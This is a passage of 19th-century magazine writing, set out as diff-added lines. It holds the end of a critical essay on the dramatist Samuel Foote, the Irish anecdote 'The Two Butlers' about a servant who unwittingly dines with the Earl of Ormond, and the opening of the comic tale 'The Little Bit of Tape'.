+that is to say, broad, easy, reckless, satirical, without the slightest
+alloy of _bonhommie_, and full of the directest personalities. There is
+no playfulness or good-nature in his comedies. You laugh, it is true, at
+his portraits, but at the same time you hold them in contempt; for there
+is nothing redeeming in their eccentricities; nothing for your esteem
+and admiration to lay hold of. We cannot gather from his writings,
+as we can from every page of Goldsmith, that Foote possessed the
+slightest sympathies with humanity. He seems everywhere to hold it at
+arm's length, as worthy of nought but the must supercilious treatment;
+which accounts for, and to a certain extent justifies, the treatment
+he received from the world in his latter days. Foote could never have
+drawn a "Good-natured Man," or even a "Dennis Brulgruddery;" for, though
+he may have possessed the head to do so, yet he lacked the requisite
+sensibility. So greatly deficient is he in this respect, that, whenever
+he attempts to put forth a refined or generous sentiment, he almost
+always overdoes it, and degenerates into cant. Yet his characters--with
+the exception of his virtuous and moral ones, which are the most insipid
+in the world--are admirably drawn, are sustained with unflagging spirit,
+and evince a wide range of observation which, however, rarely pierces
+beyond the surface.
+
+As works of art, Foote's dramas are by no means of first-rate
+excellence. They show no fancy, no invention, no ingenuity in
+constructing, or tact in developing plot; but are merely a collection
+of scenes and incidents huddled confusedly together for the purpose
+of drawing out the peculiarities of some two or three pet characters.
+The best thing we can say of them is, that they exhibit everywhere the
+keenness, the readiness, the self-possession, of the disciplined man
+of the world, combined with a pungent malicious humour that reminds
+us of a Mephistopheles in his merriest mood. It must also be urged in
+their favour, that they are, in every sense of the word, original.
+Foote copied no model, but painted direct from the life. He took no
+hints from others, but gave his own fresh impressions of character. He
+did not draw on his fancy, like Congreve, or study to make points like
+Sheridan, but availed himself hastily of such materials as came readiest
+to hand. The very extravagances of his early life were in his favour, by
+bringing him in contact with those marked, out-of-the-way characters,
+who, like Arabs, hang loose on the skirts of society, and constitute the
+quintessence of comedy. Thus his inveterate love of gambling furnished
+him with his masterly sketch of Dick Loader; and his long-continued
+residence at Paris--into whose various dissipations he entered with all
+the zeal of a devotee--with his successful hits at the absurdities of
+our travelled fops.
+
+Foote's three best plays are his "Minor," his "Liar," and his "Mayor
+of Garratt." Perhaps the last is his masterpiece; for it is alive and
+bustling throughout, is finished with more than the author's ordinary
+care, and contains two characters penned in his truest _con amore_
+spirit. Jerry Sneak and Major Sturgeon are, in their line, the two most
+perfect delineations of which the minor British drama can boast. There
+is no mistaking their identity. They speak the genuine, unadulterated
+vulgar tongue of the City. Their sentiments are cockney; their meanness
+and their bluster, their pompous self-conceit and abject humility,
+are cockney; they are cockney all over from the crown of the head
+to the sole of the shoe. What a rich set-off to the "marchings and
+counter-marchings" of the one, is the other's recital of his domestic
+grievances! Jerry's complaint that his wife only allows him "two
+shillings for pocket-money," and helps him to "all the cold vittles
+at table," is absolutely pathetic, if--as Hazlitt observes--"the last
+stage of human imbecility can be called so." While Bow bells ring, and
+St. Paul's church overlooks Cheapside, Foote's cockneys shall endure.
+Nevertheless, while we acknowledge their excellence, we entertain
+the most intense contempt for them, and feel the strongest possible
+inclination to fling the Major into a horse-pond, and smother Jerry
+Sneak in a basin of water-gruel.
+
+Foote's conversational abilities were, if possible, superior to his
+literary ones. For men of the world, in particular, they must have
+had an inexpressible charm. There is no wit on record who has said so
+many good things, or with such perfect ease and readiness. Foote never
+laid a pun-trap to catch the unwary. He had humour at will, and had
+no need to resort to artifice. His mind was well, but not abundantly
+stored; and he had the tact to make his knowledge appear greater than
+it really was. The most sterling testimony that has been borne to his
+colloquial powers, is that furnished by Dr. Johnson, who says, "The
+first time I was in company with Foote, was at Fitzherbert's. Having no
+good opinion of the fellow, I was resolved not to be pleased; and it
+is very difficult to please a man against his will. I went on eating
+my dinner pretty sullenly, affecting not to mind him; but the dog was
+so very comical, that I was obliged to lay down my knife and fork,
+and fairly laugh it out. Sir, he was irresistible." Foote's favourite
+butt was Garrick, whose thrifty habits he was constantly turning into
+ridicule. Being one day in company with him, when after satirizing
+some individual, David had wound up his attack by saying, "Well, well,
+perhaps before I condemn another, I should pull the _beam_ out of my own
+eye," Foote replied. "And so you would, if you could _sell the timber_."
+On another occasion, when they were dining together, Garrick happened
+to let a guinea drop on the floor. "Where has it gone to?" asked Foote,
+looking about for it. "Oh, to the devil, I suppose," was the reply.
+"Ah, David," rejoined his tormentor, "you can always contrive to make a
+guinea go farther than any one else."
+
+Such was Samuel Foote,--the wit, the satirist, the humourist--whose life
+inculcates this wholesome truth, that those who set themselves up, with
+no superior moral qualifications to recommend them, to ridicule the
+follies and lash the vices of the age, but "sow the wind, to reap the
+whirlwind!"
+
+
+
+
+                      THE TWO BUTLERS.
+
+In all countries and all languages we have the story of _Il Bondocani_.
+May I tell one from Ireland?
+
+It is now almost a hundred years ago--certainly eighty--since Tom--I
+declare to Mnemosyne I forget what his surname was, if I ever knew it,
+which I doubt,--It is at least eighty years since Tom emerged from his
+master's kitchen in Clonmell, to make his way on a visit to foreign
+countries.
+
+If I can well recollect dates, this event must have occurred at the end
+of the days of George the Second, or very close after the accession
+of George the Third, because in the course of the narrative it will
+be disclosed that the tale runs of a Jacobite lord living quietly in
+Ireland, and that I think must have been some time between 1740 and
+1760,--or say 65. Just before the year of the young Pretender's burst,
+a sharp eye used to be kept upon the "honest men" in all the three
+kingdoms; and in Ireland, from the peculiar power which the surveillance
+attendant on the penal laws gave the government, this sharp eye could
+not be surpassed in sharpness,--that is to say, if it did not choose to
+wink. Truth, nevertheless, makes us acknowledge that the authorities of
+Ireland were ever inclined at the bottom of their hearts to countenance
+lawlessness, if at all recommended by anything like a noble or a
+romantic name. And no name could be more renowned or more romantic than
+that of Ormond.
+
+It is to be found in all our histories well recorded. What are the lines
+of Dryden?--and Dryden was a man who knew how to make verses worth
+reading.
+
+And the rebel rose stuck to the house of Ormond for many a day;--but it
+is useless to say more. Even I who would sing "Lilla bullalero bullen a
+la,"--if I could, only I can't sing,--and who give "The glorious, pious,
+and immortal memory," because I can toast,--even I do not think wrong of
+the house of Ormond for sticking as it did to the house of Stuart. Of
+that too I have a long story to tell some time or another.
+
+Never mind. I was mentioning all this, because I have not a 'Peerage' by
+me; and I really do not know who was the Lord Ormond of the day which I
+take to be the epoch of my tale. If I had a 'Peerage,' I am sure I could
+settle it in a minute; but I have none. Those, therefore, who are most
+interested in the affair ought to examine a 'Peerage,' to find who was
+the man of the time;--I can only help them by a hint. My own particular
+and personal reason for recollecting the matter is this: I am forty,
+or more--never mind the quantity more; and I was told the story by my
+uncle at least five-and-twenty years ago. That brings us to the year
+1812,--say 1811. My uncle--his name was Jack--told me that he had heard
+the story from Tom himself fifty years before that. If my uncle Jack,
+who was a very good fellow, considerably given to potation, was precise
+in his computation of time, the date of his story must have fallen in
+1762--or 1763--no matter which. This brings me near the date I have
+already assigned; but the reader of my essay has before him the grounds
+of my chronological conjectures, and he can form his opinions on _data_
+as sufficiently as myself.
+
+I recur fearlessly to the fact that Tom--whatever his surname may have
+been--emerged from the kitchen of his master in Clonmell, to make his
+way to foreign countries.
+
+His master was a very honest fellow--a schoolmaster of the name of
+Chaytor, a Quaker, round of paunch and red of nose. I believe that some
+of his progeny are now men of office in Tipperary--and why should they
+not? Summer school-vacations in Ireland occur in July; and Chaytor--by
+the bye, I think he was _Tom_ Chaytor, but if Quakers have Christian
+names I am not sure,--gave leave to his man Tom to go wandering about
+the country. He had four, or perhaps five, days to himself.
+
+Tom, as he was described to me by my uncle over a jug of punch about
+a quarter of a century ago, was what in his memory must have been a
+smart-built fellow. Clean of limb, active of hand, light of leg, clear
+of eye, bright of hair, white of tooth, and two-and-twenty; in short, he
+was as handsome a lad as you would wish to look upon in a summer's day.
+I mention a summer's day merely for its length; for even on a winter's
+day there were few girls that could cast an eye upon him without
+forgetting the frost.
+
+So he started for the land of Kilkenny, which is what we used to call
+in Ireland twenty-four miles from Clonmell. They have stretched it
+now to thirty; but I do not find it the longer or shorter in walking
+or chalking. However, why should we gamble at an act of "justice to
+Ireland?" Tom at all events cared little for the distance; and, going it
+at a slapping pace, he made Kilkenny in six hours. I pass the itinerary.
+He started at six in the morning, and arrived somewhat foot-worn, but
+full not only of bread, but of wine, (for wine was to be found on
+country road-sides in Ireland in those days,) in the ancient city of
+Saint Canice about noon.
+
+Tom refreshed himself at the Feathers, kept in those days by a man named
+Jerry Mulvany, who was supposed to be more nearly connected with the
+family of Ormond than the rites of the church could allow; and having
+swallowed as much of the substantial food and the pestiferous fluid that
+mine host of the Feathers tendered him, the spirit of inquisitiveness,
+which, according to the phrenologists, is developed in all mankind,
+seized paramount hold of Tom. Tom--? ay, Tom it must be, for I really
+cannot recollect his other name.
+
+If there be a guide-book to the curiosities of Kilkenny, the work has
+escaped my researches. Of the city it is recorded, however, that it can
+boast of fire without smoke, air without fog, and streets paved with
+marble. And there's the college, and the bridge, and the ruins of St.
+John's abbey, and St. Canice, and the Nore itself, and last, not least,
+the castle of the Ormonds, with its woods and its walks, and its stables
+and its gallery, and all the rest of it, predominating over the river.
+It is a very fine-looking thing indeed; and, if I mistake not, John
+Wilson Croker, in his youth, wrote a poem to its honour, beginning with
+
+          "High on the sounding banks of Nore,"
+
+every verse of which ended with "The castle," in the manner of Cowper's
+"My Mary," or Ben Jonson's "Tom Tosspot." If I had the poem, I should
+publish it here with the greatest pleasure; but I have it not. I forget
+where I saw it, but I think it was in a Dublin magazine of a good many
+years ago, when I was a junior sophister of T. C. D.
+
+Let the reader, then, in the absence of this document, imagine that
+the poem was infinitely fine, and that the subject was worthy of the
+muse. As the castle is the most particular lion of the city, it of
+course speedily attracted the attention of Tom, who, swaggering in all
+the independence of an emancipated footman up the street, soon found
+himself at the gate. "Rearing himself thereat," as the old ballad has
+it, stood a man basking in the sun. He was somewhat declining towards
+what they call the vale of years in the language of poetry; but by
+the twinkle of his eye, and the purple rotundity of his cheek, it was
+evident that the years of the valley, like the lads of the valley, had
+gone cheerily-o! The sun shone brightly upon his silver locks, escaping
+from under a somewhat tarnished cocked-hat guarded with gold lace, the
+gilding of which had much deteriorated since it departed from the shop
+of the artificer; and upon a scarlet waistcoat, velvet certainly, but
+of reduced condition, and in the same situation as to gilding as the
+hat. His plum-coloured breeches were unbuckled at the knee, and his
+ungartered stockings were on a downward progress towards his unbuckled
+shoes. He had his hands--their wrists were garnished with unwashed
+ruffles--in his breeches pockets; and he diverted himself with whistling
+"Charley over the water," in a state of _quasi_-ruminant quiescence.
+Nothing could be plainer than that he was a hanger-on of the castle off
+duty, waiting his time until called for, when of course he was to appear
+before his master in a more carefully arranged costume.
+
+Ormond Castle was then, as I believe it is now, a show-house, and the
+visitors of Kilkenny found little difficulty in the admission; but, as
+in those days purposes of political intrusion might be suspected, some
+shadow at least of introduction was considered necessary. Tom, reared
+in the household of a schoolmaster, where the despotic authority of the
+chief extends a flavour of its quality to all his ministers, exhilarated
+by the walk, and cheered by the eatables and drinkables which he had
+swallowed, felt that there was no necessity for consulting any of the
+usual points of etiquette, if indeed he knew that any such things were
+in existence.
+
+"I say," said he, "old chap! is this castle to be seen? I'm told it's a
+show; and if it is, let's have a look at it."
+
+"It is to be seen," replied the person addressed, "if you are properly
+introduced."
+
+"That's all hum!" said Tom. "I know enough of the world, though I've
+lived all my life in Clonmell, to know that a proper introduction
+signifies a tester. Come, my old snouty, I'll stand all that's right if
+you show me over it. Can you do it?"
+
+"Why," said his new friend, "I think I can; because, in fact, I am----"
+
+"Something about the house, I suppose. Well, though you've on a laced
+jacket, and I only a plain frieze coat, we are both brothers of the
+shoulder-knot. I tell you who I am. Did you ever hear of Chaytor the
+Quaker, the schoolmaster of Clonmell?"
+
+"Never."
+
+"Well, he's a decent sort of fellow in the _propria quæ maribus_ line,
+and gives as good a buttock of beef to anybody that gets over the
+threshold of his door as you'd wish to meet; and I am his man,--his
+valley de sham, head gentleman----"
+
+"Gentleman usher?"
+
+"No, not usher," responded Tom indignantly: "I have nothing to do with
+ushers; they are scabby dogs of poor scholards, sizards, half-pays, and
+the like; and all the young gentlemen much prefer me:--but I am his
+_fiddleus Achates_, as master Jack Toler calls me,--that's a purty pup
+who will make some fun some of these days,--his whacktotum, head-cook,
+and dairy-maid, slush, and butler. What are you here?"
+
+"Why," replied the man at the gate, "I am a butler as well as you."
+
+"Oh! then we're both butlers; and you could as well pass us in. By
+coarse, the butler must be a great fellow here; and I see you are rigged
+out in the cast clothes of my lord. Isn't that true?"
+
+"True enough: he never gets a suit of clothes that it does not fall to
+my lot to wear it; but if you wish to see the castle, I think I can
+venture to show you all that it contains, even for the sake of our being
+two butlers."
+
+It was not much sooner said than done. Tom accompanied his companion
+over the house and grounds, making sundry critical observations on all
+he saw therein,--on painting, architecture, gardening, the sublime and
+beautiful, the scientific and picturesque,--in a manner which I doubt
+not much resembled the average style of reviewing those matters in what
+we now call the best public instructors.
+
+"Rum-looking old ruffians!" observed Tom, on casting his eyes along
+the gallery containing the portraitures of the Ormondes. "Look at that
+fellow there all battered up in iron; I wish to God I had as good a
+church as he would rob!"
+
+"He was one of the old earls," replied his guide, "in the days of Henry
+the Eighth; and I believe he did help in robbing churches."
+
+"I knew it by his look," said Tom; "and there's a chap there in a
+wilderness of a wig. Gad! he looks as if he was like to be hanged."
+
+"He was so," said the cicerone; "for a gentleman of the name of Blood
+was about to pay him that compliment at Tyburn."
+
+"Serve him right," observed Tom; "and this fellow with the short
+stick in his hand;--what the deuce is the meaning of that?--was he a
+constable?"
+
+"No," said his friend, "he was a marshal; but he had much to do with
+keeping out of the way of constables for some years. Did you ever hear
+of Dean Swift?"
+
+"Did I ever hear of the Dane? Why, my master has twenty books of his
+that he's always reading, and he calls him Old Copper-farthing; and the
+young gentlemen are quite wild to read them. I read some of them wance
+(once); but they were all lies, about fairies and giants. Howsoever,
+they say the Dane was a larned man."
+
+"Well, he was a great friend of that man with the short stick in his
+hand."
+
+"By dad!" said Tom, "few of the Dane's friends was friends to the
+Hanover succession; and I'd bet anything that that flourishing-looking
+lad there was a friend to the Pretender."
+
+"It is likely that if you laid such a bet you would win it. He was a
+great friend also of Queen Anne. Have you ever heard of her?"
+
+"Heard of Brandy Nan! To be sure I did--merry be the first of August!
+But what's the use of looking at those queer old fools?--I wonder who
+bothered themselves painting them?"
+
+"I do not think you knew the people;--they were Vandyke, Lely, Kneller."
+
+"I never heard of them in Clonmell," remarked Tom. "Have you anything to
+drink?"
+
+"Plenty."
+
+"But you won't get into a scrape? Honour above all; I'd not like to have
+you do it unless you were sure, for the glory of the cloth."
+
+The pledge of security being solemnly offered, Tom followed his
+companion through the intricate passages of the castle until he came
+into a small apartment, where he found a most plentiful repast before
+him. He had not failed to observe, that, as he was guided through
+the house, their path had been wholly uncrossed, for, if anybody
+accidentally appeared, he hastily withdrew. One person only was detained
+for a moment, and to him the butler spoke a few words in some unknown
+tongue, which Tom of course set down as part of the Jacobite treason
+pervading every part of the castle.
+
+"Gad!" said he, while beginning to lay into the round of beef, "I am
+half inclined to think that the jabber you talked just now to the
+powder-monkey we met in that corridor was not treason, but beef and
+mustard: an't I right?"
+
+"Quite so."
+
+"Fall to, then, yourself. By Gad! you appear to have those lads under
+your thumb--for this is great eating. I suppose you often rob my
+lord?--speak plain, for I myself rob ould Chaytor the schoolmaster; but
+there's a long difference between robbing a schoolmaster and robbing a
+lord. I venture to say many a pound of his you have made away with."
+
+"A great many indeed. I am ashamed to say it, that for one pound he has
+lost by anybody else, he has lost a hundred by me."
+
+"Ashamed, indeed! This is beautiful beef. But let us wash it down. By
+the powers! is it champagne you are giving me? Well, I never drank but
+one glass of it in my life, and that was from a bottle that I stole out
+of a dozen which the master had when he was giving a great dinner to the
+fathers of the boys just before the Christmas holidays the year before
+last. My service to you. By Gor! if you do not break the Ormonds, I
+can't tell who should."
+
+"Nor I. Finish your champagne. What else will you have to drink?"
+
+"Have you the run of the cellar?"
+
+"Certainly."
+
+"Why, then, claret is genteel; but the little I drank of it was mortal
+cold. Could you find us a glass of brandy?"
+
+"Of course:" and on the sounding of a bell there appeared the same valet
+who had been addressed in the corridor; and in the same language some
+intimation was communicated, which in a few moments produced a bottle of
+Nantz, rare and particular, placed before Tom with all the emollient
+appliances necessary for turning it into punch.
+
+"By all that's bad," said the Clonmellian butler, "but ye keep these
+fellows to their knitting. This is indeed capital stuff. Make for
+yourself. When you come to Clonmell, ask for me--Tom--at old Chaytor's,
+the Quaker schoolmaster, a few doors from the Globe. This lord of yours,
+I am told, is a bloody Jacobite: here's the Hanover succession! but we
+must not drink that here, for perhaps the old fellow himself might hear
+us."
+
+"Nothing is more probable."
+
+"Well, then, mum's the word. I'm told he puts white roses in his dog's
+ears, and drinks a certain person over the water on the tenth of June;
+but, no matter, this is his house, and you and I are drinking his
+drink,--so, why should we wish him bad luck? If he was hanged, of course
+I'd go to see him, to be sure; would not you?"
+
+"I should certainly be there."
+
+By this time Tom was subdued by the champagne and the brandy, to say
+nothing of the hot weather; and the spirit of hospitality rose strong
+upon the spirit of cognac. His new friend gently hinted that a retreat
+to his _gîte_ at the Feathers would be prudent; but to such a step Tom
+would by no means consent unless the butler of the castle accompanied
+him to take a parting bowl. With some reluctance the wish was complied
+with, and both the butlers sallied forth on their way through the
+principal streets of Kilkenny, just as the evening was beginning to
+assume somewhat of a dusky hue. Tom had, in the course of the three or
+four hours passed with his new friend, informed him of all the private
+history of the house of Ormond, with that same regard to veracity
+which in general characterises the accounts of the births, lives, and
+educations of persons of the higher classes, to be found in fashionable
+novels and other works drawn from the communications of such authorities
+as our friend Tom; and his companion offered as much commentary as is
+usually done on similar occasions. Proceeding in a twirling motion
+along, he could not but observe that the principal persons whom they
+met bowed most respectfully to the gentleman from the castle; and, on
+being assured that this token of deference was paid because they were
+tradesmen of the castle, who were indebted to the butler for his good
+word in their business, Tom's appreciation of his friend's abilities
+in the art of "improving" his situation was considerably enhanced. He
+calculated that if they made money by the butler, the butler made money
+by them; and he determined that on his return to Clonmell he too would
+find tradesfolks ready to take hats off to him in the ratio of pedagogue
+to peer.
+
+The Kilkenny man steadied the Clonmell man to the Feathers, where the
+latter most potentially ordered a bowl of the best punch. The slipshod
+waiter stared; but a look from Tom's friend was enough. They were
+ushered into the best apartment of the house,--Tom remarking that it
+was a different room from that which he occupied on his arrival; and in
+a few minutes the master of the house, Mr. Mulvany, in his best array,
+made his appearance with a pair of wax candles in his hands. He bowed to
+the earth as he said,
+
+"If I had expected you, my----"
+
+"Leave the room," was the answer.
+
+"Not before I order my bowl of punch," said Tom.
+
+"Shall I, my----"
+
+"Yes," said the person addressed; "whatever he likes."
+
+"Well," said Tom, as Mulvany left the room, "if I ever saw anything to
+match that. Is he one of the tradespeople of the castle? This does bate
+everything. And, by dad, he's not unlike you in the face, neither! Och!
+then, what a story I'll have when I get back to Clonmell."
+
+"Well, Tom," said his friend, "I may perhaps see you there; but
+good-b'ye for a moment. I assure you I have had much pleasure in your
+company."
+
+"He's a queer fellow that," thought Tom, "and I hope he'll be soon back.
+It's a pleasant acquaintance I've made the first day I was in Kilkenny.
+Sit down, Mr. Mulvany," said he, as that functionary entered, bearing a
+bowl of punch, "and taste your brewing." To which invitation Mr. Mulvany
+acceded, nothing loth, but still casting an anxious eye towards the door.
+
+"That's a mighty honest man," said Tom.
+
+"I do not know what you mean," replied the cautious Mulvany; (for,
+"honest man" was in those days another word for Jacobite.)
+
+"I mane what I say," said Tom; "he's just showed me over the castle, and
+gave me full and plenty of the best of eating and drinking. He tells me
+he's the butler."
+
+"And so he is, you idiot of a man!" cried Mulvany. "He's the chief
+Butler of Ireland."
+
+"What?" said Tom.
+
+"Why, him that was with you just now is the Earl of Ormond."
+
+My story is over--
+
+          "And James Fitzjames was Scotland's king."
+
+All the potations pottle-deep, the road-side drinking, the champagne, the
+cognac, the punch of the Feathers, vanished at once from Tom's brain, to
+make room for the recollection of what he had been saying for the last
+three hours. Waiting for no further explanation, he threw up the window,
+(they were sitting on a ground-floor,) and, leaving Mr. Mulvany to
+finish the bowl as he pleased, proceeded at a hand-canter to Clonmell,
+not freed from the apparition of Lord Ormond before he had left Kilcash
+to his north; and nothing could ever again induce him to wander in
+the direction of Kilkenny, there to run the risk of meeting with his
+fellow-butler, until his lordship was so safely bestowed in the family
+vault as to render the chance of collision highly improbable. Such is my
+_Il Bondocani_.
+                                                                T. C. D.
+
+   [Illustration: The Little Bit of Tape]
+
+
+
+
+                   THE LITTLE BIT OF TAPE.
+                    BY RICHARD JOHNS, ESQ.
+
+"Slow and sure" has been the motto of my family from generation to
+generation, and wonderfully has it prospered by acting on this maxim;
+the misfortunes of the house of Slowby having apparently been reserved
+for the only active and enterprising individual ever born unto that
+name. Reader, I am that unhappy man! Waiters upon Fortune, plentifully
+have all my progenitors fared from the dainties of the good lady's
+table; while I, in my anxiety to share in the feast, have generally
+upset the board, and lost every thing in the scramble.
+
+Sir James Slowby, my worthy father, was a younger son, and his portion
+had been little more than the blessing of a parent, conveyed in the form
+of words always used in our family--"Bless thee, my son; be slow and
+sure, and you will be sure to get on." He did get on; for, was he not
+one of the feelers of that huge polypus in society, the Slowbys? Ways of
+making money, which other men had diligently sought in vain, discovered
+themselves to him; places were conferred on him, and legacies left
+him, for no one reason that could be discovered, except that he seemed
+indifferent to such matters, and latterly became so wealthy, that he did
+not require them. He was slow in marrying; not entering the "holy state"
+till he was forty. He did not wed a fortune: no! he rather preferred a
+woman of good expectations; and these were, of course, realised,--the
+money came "slow and sure." He lived to a good old age; but death,
+though slow, was sure also; and he at length died, leaving two sons: on
+one he bestowed all his wealth; the other, my luckless self, he left a
+beggarly dependent on an elder brother's bounty. The fact of the matter
+was, I had too much vivacity to please so true a Slowby as my father;
+while James was a man after his own heart: and, perhaps I had circulated
+a little too much of the old gentleman's money in what he strangely
+called my "loose kind of life;" but which I only denominated "living
+fast." He might have confessed that I was not altogether selfish in my
+pleasures. I often made my father most magnificent presents; and though,
+perhaps, he ultimately had to pay the bills, the generosity of the
+intention was the same.
+
+The following letters were written just before our worthy parent's
+death, by his two sons. James was at the paternal mansion in ---- Square,
+I at a little road-side public-house about four and twenty miles from
+Newmarket. I must premise that I was thus far on my way to London, in
+answer to my brother's summons; but, at "Ugley" over the post-chaise
+went--a wheel was broken, and so was my left arm. The post-boys swore
+it was my fault, because I had not patience to have the wheels properly
+greased; and I, because it was my misfortune to be obliged to delay my
+journey till the mischief was repaired--I mean as regards the WEAL of my
+arm, not the wheel of the chaise,--for, had I been able, I would rather
+have ridden one of the post-horses to the next stage, than not have
+pursued my route.
+
+                                                  "_---- Square._
+               MY DEAR BROTHER,--Your
+            father requests that you will take an early opportunity
+            of coming to town, as he is supposed to be on his
+            death-bed. His will only awaits your arrival to receive
+            signature. Should you solemnly promise not to dissipate
+            money as you have heretofore done, he will leave you a
+            gentlemanly competence. Dr. Druget is of opinion that
+            our father may live till Sunday next; so, if you are
+            here at any period before that date, you will be in
+            sufficient time for the above-mentioned purpose.
+                       "Your affectionate brother,    JAMES SLOWBY."
+
+               "DEAR JIM,--_You_ might think
+            it wise to delay my seeing our dear father, but _I_
+            did not;--so started at once,--double-fee'd the
+            post-boys,--double feed for the horses,--away I bowled,
+            till off came the wheel at Ugley. Here I am, with
+            a broken arm. Tell my father I am cut to the quick
+            that we may never meet again. I'll promise any thing
+            he likes. I now really see the folly of being always
+            in such a devil of a hurry; particularly in spending
+            money, paying bills, and that kind of thing: say that I
+            will now for ever stick by the family motto, 'slow and
+            sure.'
+                            "Yours in haste,        RICHARD SLOWBY."
+
+            "P.S. I send my own servant to ride whip
+            and spur till he puts this in your hands; he will
+            beat the post by an hour and a half, which is of
+            consequence."
+
+This latter epistle never reached its destination,--my poor fellow broke
+his neck at Epping; and, as the letter was despatched in too great haste
+to be fully directed, it was opened and returned to me by the coroner in
+due course of post.
+
+I did not get to town till long after the death of my father. The will
+signed at last, my absence being unaccounted for, gave my brother the
+whole property; nor did he seem inclined to part with a shilling. A
+place in the T----, which the head of our ancient house, Lord Snaile,
+had bestowed on my father, and still promised to keep in the family,
+might yet be mine,--I was his lordship's godson, and had a fair chance
+for it; but the now Sir James Slowby, second of the title, and worthy of
+the name, would not withdraw his claim as eldest born.
+
+"I won't move in the matter, Richard," said my slow and sure brother;
+"but if my lord gives me the offer, I will accept it. I am not greedy
+after riches, Heaven knows; but it would be tempting Providence not to
+hold what is put into my possession, nor freely take what is freely
+given. His lordship has requested, by letter, that we both wait upon him
+in Curzon Street, no doubt about the appointment; he makes mention of
+wishing to introduce us to the ladies, after 'the despatch of business.'
+Our cousin Maria used to be lovely as a child, and, though not a
+fortune, may come in for something considerable, ultimately."
+
+Such was my brother's harangue. Sick of his prosing I left his
+house, comforting myself that I had, at least, as much chance of
+the appointment as he had; nor was I altogether without my hopes of
+supplanting him with Maria, though _he_ might be worthy of wedding her
+at Marylebone; and I, even with her own special licence, would have to
+journey on the same errand as far as Gretna.
+
+I dined that day at Norwood with an old schoolfellow. At his house I
+was to pass the night, and on the morrow, at two o'clock, my fate was
+to be decided. On this eventful morning I was set down in Camberwell by
+my friend's phaeton. I had seen the Norwood four-horse coach start for
+town long before we left home, and had given myself great credit for not
+allowing it to convey me that I might have from thence been enabled to
+intrude on Lord Snaile's privacy an hour or two before I was expected.
+But I recollected I had annoyed his lordship on more than one occasion
+in a similar manner, and I seriously resolved that I would no longer
+mar my fortunes by my precipitation. It was now, however, within two
+hours of the time of appointment; my friend's vehicle was not going any
+farther, and I might, at least, indulge myself by reaching Oxford Street
+by the quickest public conveyance. Omnibuses had just been introduced
+on that road; and the Red Rover, looking like a huge trap for catching
+passengers, was drawn up at the end of Camberwell Green. "Charing Cross,
+sir!"--"Oxford Street, sir!"--"Going directly, sir!" was music to my
+ears, even from the cracked voice of a cad, and in I unfortunately got;
+and there did I sit for ten minutes, while coaches innumerable, passed
+me for London. Still I preserved my patience, firm in my good resolves.
+At length another Westminster omnibus drove up.
+
+"Are you going now; or are you not?" said I, very properly restraining
+an oath just on the tip of my tongue.
+
+"Going directly, sir--be in town long before him, sir," said the cad,
+pointing to the other 'bus, for he saw my eye was turned towards it.
+
+At that moment a simple-looking servant-girl with a bandbox came across
+the Green, and a fight commenced between the _conducteurs_ of the rival
+vehicles for the unfortunate woman, in which she got not a little pulled
+about. The Red Rover, however, won the day; and glad enough was I when
+we started, at a rattling pace. But my pleasure was of short duration.
+
+"Where are you going?" asked an old women opposite me, who knew the
+road, which I did not.
+
+"Going to take up, ma'am," said the cad. "We shall be back to the Green
+Man in ten minutes if you've left any thing behind."
+
+"Where is my bandbox?" said the girl.
+
+"I knows nothing about it, not I; I suppose it went by the other 'bus
+if you arn't a got it. Why did you let it out of your own hands, young
+'oman? That 'ere cad is the greatest thief on the road."
+
+The girl began to cry, and declared she should lose her place; and I to
+swear, for I thought it very likely I should lose mine. But we at length
+once more passed the Green, and tore along at the rate of ten miles an
+hour, till we set down passengers at the Elephant and Castle. Reader,
+do you happen to know a biscuit-shop occupying the corner of the road
+to Westminster, opposite the aforesaid Elephant and Castle? There it
+was, the Red Rover drew up, and the cad descended to run after a man and
+woman, who seemed undetermined whether they would take six-pennyworth
+or not. My patience was now quite exhausted. A four-horse Westminster
+coach was just starting across the way, and, determined to get a place
+in a more expeditious conveyance, I dashed open the door of the omnibus
+just as the _conducteur's_ "all right" again set the carriage in motion;
+he, having failed in his canvassing, at the same instant jumped on
+the step behind the 'bus. The consequences were direful. The cad was
+transferred to the pavement by a swingeing blow on the temple from the
+opening panel, while I lost my equilibrium, and made a full-length
+prostration into mud four inches thick, which formed the bed of the
+road. I had fallen face downward, and the infuriated official of the
+'bus quickly bestrode me, grasping me by the nape of the neck. I gasped
+for breath. Never shall I forget what I then inhaled. To bite the
+dust is always disagreeable; but, I can assure you, it is nothing to
+a mouthful of mud. Rescued at last by the intervention of the police,
+I was permitted to rise. I had no time to dispute the question of
+right and wrong; glad enough was I to be allowed to medicate the cad's
+promissory black eye with a sovereign; for which I was declared by all
+present, and particularly by the man what rides behind the 'homnibus'
+"to be a perfect gemman, only a little hasty." Never was a gentleman
+in a worse pickle. The road had been creamed by the _reign_ of wet
+weather that marks an English summer. Had I been diving in a mud-cart,
+or "far into the bowels of the land," through the medium of a ditch in
+the neighbouring St. George's Fields, I could not have presented a more
+extraordinary appearance. I might have been rated as a forty-shilling
+landholder, and rich soil into the bargain. As soon as I could clear my
+eyes sufficiently to permit of the exercise of vision, I espied an old
+clothes' shop in the distance; and in this welcome retreat I speedily
+bestowed myself amid cries of "How are you off for soap?"--"There you
+go, stick-in-the-mud!"--"Where did you lie last?" and other specimens
+of suburban wit. Having left the admiring gaze of about two hundred
+spectators, I obtained a washing-tub and a private room from my
+newly-formed acquaintance, Isaacs; and, my ablutions being complete, I
+equipped myself in a full suit of black, which, though the habiliments
+were rather the worse for wear, fitted me pretty well, and had been,
+withal, decently made. I was also supplied with shirt and drawers,
+"goot ash new," and a hat which Isaacs swore was only made the week
+before, and "cheap ash dirt." I appreciated the simile, but the hat I
+could scarcely get on my head; time was however wearing away, and I was
+obliged to have it, as well as a pair of Blucher boots, not a Wellington
+fitting me in the Jew's whole stock of such articles. I again started.
+There happened to be a hackney-coach passing just as I emerged from the
+shop. This was fortunate; for, to hide my low boots, Isaacs had strapped
+my trousers down so tightly, that, not trusting much to the material, I
+thought it might be advisable to avoid walking.
+
+I had yet sufficient time before me to keep my appointment, and I
+was now fairly on my way to Curzon Street; nothing interrupting my
+meditation for the next half hour but the paying of a turnpike. I had
+certainly met with many vexatious annoyances during the morning; but I
+felt pleased with myself for so far conquering my impetuous spirit as to
+have exhibited, on the whole, but little irritation under my suffering.
+For this, I thought I deserved to succeed in my present visit to that
+high-priest of Fortune, a patron. Then I bethought me of Maria, and took
+a glance at my suit of black. I fancied that I must look very like an
+undertaker,--I knew not why: I had imagined myself perfectly gentlemanly
+in appearance when I left my toilet at Norwood, and I had only changed
+one suit of black for another,--but then these were not made for me.
